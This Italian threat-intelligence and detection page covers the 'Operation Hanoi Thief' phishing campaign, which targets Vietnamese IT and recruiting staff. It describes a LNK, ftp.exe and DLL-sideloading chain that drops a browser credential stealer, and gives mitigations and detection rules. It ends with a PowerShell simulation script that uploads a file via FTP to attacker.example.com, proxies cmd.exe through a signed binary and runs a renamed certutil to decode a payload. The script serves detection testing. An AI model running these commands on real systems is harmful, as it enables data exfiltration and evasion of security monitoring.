Operazione Ladro di Hanoi: Attore di Minaccia Colpisce Team IT e di Assunzione Vietnamiti
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Un’operazione di spear-phishing denominata “Operation Hanoi Thief” distribuisce un archivio ZIP malevolo che comprende un collegamento (LNK) e un documento pseudo-poliglotta. Il collegamento sfrutta ftp.exe per eseguire uno script batch che posiziona una DLL chiamata MsCtfMonitor.dll in ProgramData e quindi esegue il DLL sideloading tramite ctfmon.exe. Questa DLL, soprannominata LOTUSHARVEST, ruba credenziali e cronologia del browser e quindi esfiltra i dati raccolti tramite HTTPS.
Analisi della Campagna Operation Hanoi Thief
I ricercatori di SEQRITE Labs APT-Team hanno estratto l’archivio ZIP, documentato la riga di comando LNK che sfrutta ftp.exe, osservato la creazione di un’origine rinominata certutil.exe binario e esplorato la catena di DLL sideloading. Hanno inoltre catturato indicatori di rete coinvolti nell’esfiltrazione dei dati e attribuito la campagna a un probabile attore di minaccia supportato da una nazione cinese.
Mitigazione
Le linee guida difensive includono il blocco dell’esecuzione di collegamenti sospetti LNK, la limitazione dell’uso di strumenti nativi di Windows come ftp.exe e certutil.exe in script non affidabili, l’applicazione di controlli sui percorsi di caricamento delle DLL e il monitoraggio del traffico HTTPS in uscita verso domini non familiari. Le organizzazioni dovrebbero anche applicare un rigoroso filtro sugli allegati email e rafforzare la formazione degli utenti in merito alle esche di phishing a tema curriculum.
Risposta
Generare avvisi sull’apparizione di MsCtfMonitor.dll in ProgramData, sulle esecuzioni di ftp.exe con il flag -s, e sulle richieste in uscita verso domini noti come malevoli. Mettere in quarantena i file colpiti, isolare il punto finale compromesso e procedere con la rotazione delle password e delle credenziali per i browser interessati.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing: Allegato Spearphishing</b><br />L’avversario invia un archivio ZIP malevolo agli utenti target”] class action_phishing action file_malicious_zip[“<b>File</b> – Nome: Le‑Xuan‑Son_CV.zip<br />Contiene CV.pdf.lnk e PDF/PNG camuffati”] class file_malicious_zip file action_user_exec[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br />La vittima estrae l’archivio e apre il collegamento”] class action_user_exec action file_lnk[“<b>File</b> – Nome: CV.pdf.lnk (collegamento)”] class file_lnk file action_shortcut_mod[“<b>Azione</b> – <b>T1547.009 Esecuzione di Avvio o Accesso Automatico: Modifica Collegamento</b><br />LNK esegue ftp.exe con argomento –s”] class action_shortcut_mod action tool_ftp[“<b>Strumento</b> – Nome: ftp.exe (binario di sistema Windows)”] class tool_ftp tool action_proxy_exec[“<b>Azione</b> – <b>T1218 Esecuzione Proxy di Binari di Sistema</b><br />Binari legittimi abusati per eseguire comandi nascosti”] class action_proxy_exec action tool_device_cred_deploy[“<b>Strumento</b> – Nome: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>Strumento</b> – Nome: certutil.exe”] class tool_certutil tool action_masquerade[“<b>Azione</b> – <b>T1036.008 Mascheramento: Tipo di File<br>T1036.007 Mascheramento: Doppia Estensione</b><br />Payload camuffato da PDF/PNG e successivamente rinominato”] class action_masquerade action file_masq_pdf[“<b>File</b> – Nome: offsec‑certified‑professional.png (in realtĂ PDF)”] class file_masq_pdf file action_compression[“<b>Azione</b> – <b>T1027.015 File Offuscati o Informazioni: Compressione</b><br />ZIP usato per distribuire il payload malevolo”] class action_compression action action_compile_after_delivery[“<b>Azione</b> – <b>T1027.004 Compilazione Dopo Consegna</b><br />DLL codificata in Base64 estratta da script poliglotta”] class action_compile_after_delivery action action_dll_sideload[“<b>Azione</b> – <b>T1574.002 DLL Side‑Loading</b><br />DLL malevola posizionata accanto a ctfmon.exe”] class action_dll_sideload action file_ctfmon_exe[“<b>File</b> – Nome: ctfmon.exe (copiato nella directory di lavoro)”] class file_ctfmon_exe file file_malicious_dll[“<b>File</b> – Nome: MsCtfMonitor.dll (malevolo)”] class file_malicious_dll malware action_process_injection[“<b>Azione</b> – <b>T1055.001 Injection di Processo: DLL Injection</b><br />DLL side-loadata caricata da ctfmon.exe esegue codice dell’attaccante”] class action_process_injection action action_browser_discovery[“<b>Azione</b> – <b>T1217 Scoperta Informazioni Browser</b><br />DLL legge database SQLite di Chrome ed Edge per URL”] class action_browser_discovery action action_credential_extraction[“<b>Azione</b> – <b>T1555.003 Credenziali dai Browser Web</b><br />Password decrittografate tramite CryptUnprotectData”] class action_credential_extraction action action_exfiltration_auto[“<b>Azione</b> – <b>T1020 Esfiltrazione Automatica</b><br />Dati preparati per esfiltrazione tramite HTTPS”] class action_exfiltration_auto action action_exfiltration_c2[“<b>Azione</b> – <b>T1041 Esfiltrazione su Canale C2</b><br /><b>T1102 Servizio Web</b><br />Dati inviati al dominio dell’attaccante tramite HTTP POST”] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|consegna| file_malicious_zip file_malicious_zip u002du002d>|contiene| file_lnk file_lnk u002du002d>|attivato da| action_user_exec action_user_exec u002du002d>|porta a| action_shortcut_mod action_shortcut_mod u002du002d>|esegue| tool_ftp tool_ftp u002du002d>|usato in| action_proxy_exec action_proxy_exec u002du002d>|utilizza anche| tool_device_cred_deploy action_proxy_exec u002du002d>|utilizza anche| tool_certutil action_shortcut_mod u002du002d>|utilizza| action_masquerade action_masquerade u002du002d>|crea| file_masq_pdf action_masquerade u002du002d>|si basa su| action_compression action_compression u002du002d>|abilita| action_compile_after_delivery action_compile_after_delivery u002du002d>|produce| file_malicious_dll action_compile_after_delivery u002du002d>|prepara| action_dll_sideload action_dll_sideload u002du002d>|posiziona DLL con| file_ctfmon_exe action_dll_sideload u002du002d>|posiziona| file_malicious_dll file_ctfmon_exe u002du002d>|carica| file_malicious_dll file_malicious_dll u002du002d>|esegue| action_process_injection action_process_injection u002du002d>|abilita| action_browser_discovery action_browser_discovery u002du002d>|fornisce dati a| action_credential_extraction action_credential_extraction u002du002d>|fornisce dati a| action_exfiltration_auto action_exfiltration_auto u002du002d>|invia dati tramite| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware
Flusso di Attacco
Rilevamenti
Operation Hanoi Thief: Rilevamento dell’Esfiltrazione dei Dati [Connessione di Rete Windows]
Visualizza
Rilevamento delle AttivitĂ di Operation Hanoi Thief [Creazione Processo Windows]
Visualizza
IOC (HashSha256) da rilevare: Operazione Hanoi Thief: L’attore di minaccia prende di mira i professionisti IT e i team di reclutamento vietnamiti
Visualizza
Uso di Certutil per Codifica Dati e Operazioni cert (via cmdline)
Visualizza
File Estrai Sospetti da un Archivio (via file_event)
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione Attacco & Comandi:
Un attaccante che ha ottenuto una shell a bassa privilegi su una macchina Windows compromessa desidera esfiltrare dati e mantenere l’invisibilitĂ .- Fase 1 – Esecuzione script FTP: L’attaccante crea uno script temporaneo
upload.txtcontenente comandi FTP e esegueftp.exe -s upload.txtper trasferire file a un server esterno. - Fase 2 – Esecuzione comando proxy: Per nascondere l’uso di
cmd.exe, l’attaccante lanciaDeviceCredentialDeployment.execon l’argomentocmd.exe /c whoami; l’utility firmata genera una shell di comando nascosta, evitando avvisi sul nome del processo. - Fase 3 – Uso di certutil mascherato: L’attaccante copia
certutil.exeaC:Templala.exee eseguelala.exe -decode malicious.b64 output.exeper decodificare i payloads, utilizzando il rinomina per bypassare i rilevamenti basati sul nome del file.
- Fase 1 – Esecuzione script FTP: L’attaccante crea uno script temporaneo
-
Script Test di Regressione: Il seguente script PowerShell riproduce i tre passaggi in modo ripetibile.
# Script Test di Regressione – attiva la regola di rilevamento # 1. FTP con flag -s $ftpScript = "$env:TEMPupload.txt" @" apri attacker.example.com utente testuser testpass metti C:WindowsSystem32notepad.exe notepad.exe esci "@ | Set-Content -Path $ftpScript -Encoding ASCII Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait # 2. DeviceCredentialDeployment.exe proxying cmd.exe $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe" if (Test-Path $dccPath) { Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait } else { Write-Host "DeviceCredentialDeployment.exe not found – skipping step 2." } # 3. Esecuzione mascherata di certutil $original = "$env:SystemRootSystem32certutil.exe" $masq = "$env:TEMPlala.exe" Copy-Item -Path $original -Destination $masq -Force $payload = "$env:TEMPmalicious.b64" $output = "$env:TEMPdecoded.exe" # Crea un payload base64 fittizio [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malevolo"))) Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait -
Comandi di Pulizia: Rimuovere gli artefatti creati durante il test.
# Script di Pulizia Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue Write-Host "Pulizia completata."